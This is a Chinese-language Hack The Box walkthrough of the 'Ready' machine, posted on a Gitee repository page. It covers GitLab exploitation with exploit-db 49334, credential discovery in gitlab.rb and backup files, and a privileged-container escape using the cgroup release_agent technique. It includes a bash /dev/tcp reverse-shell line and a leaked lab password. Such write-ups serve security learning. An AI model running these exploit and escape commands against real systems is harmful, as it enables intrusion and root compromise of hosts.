1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
ready.md 3.56 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2021-12-01 21:05 . 完成ready

信息收集

端口扫描

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_  256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5080访问是gitlab community

注册一个账号进去看看,发现dude用户有一个公开的drupal仓库,没找到有什么硬编码的敏感信息。

找找gitlab自己的问题,因为版本未知,exploit-db上的exp挨个试试。找到11.47版本的能打

漏洞利用

https://www.exploit-db.com/exploits/49334

se19wPBl9C7ia+jGGa3vxoq/xVoSr5vMjrxz9zay/Kai7Zp7qmSZAgp1p6eUFd8rd/QKUQuAl/tgpW90u2LtyA==

python3 49334.py -u whd -p wuerror1212 -g http://10.10.10.220 -l 10.10.14.4 -P 4444

ready1

(现在已经可以读user.txt了)

提权

suid,计划任务等搜了一圈没发现可提权的。内核版本5.4也挺高的

无意间ls -al /发现.dockerenv。这好像是个容器环境啊

ready2

在/opt/backup下发现一些敏感的文件

ready3

cat docker-compose.yml
version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

发现读了根目录下的root_pass文件!!!前面我还漏掉了

但是用这个作为密码su root失败了。

:star:privileged:true说明这是个特权容器,可逃逸啊

secrets.json里是证书和rsa私钥啥的。

#去掉注释行
grep -v "^#" gitlab.rb

ready4

得到一个smtp passwd wW59U!ZKMbG9+*#h

用这个密码su root成功了,但是家目录里没有root.txt

ready5

容器逃逸

特权模式逃逸

修改poc如下,弹shell加cat

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/root.txt > $host_path/output;bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/1234 <&1'" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

ready6

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助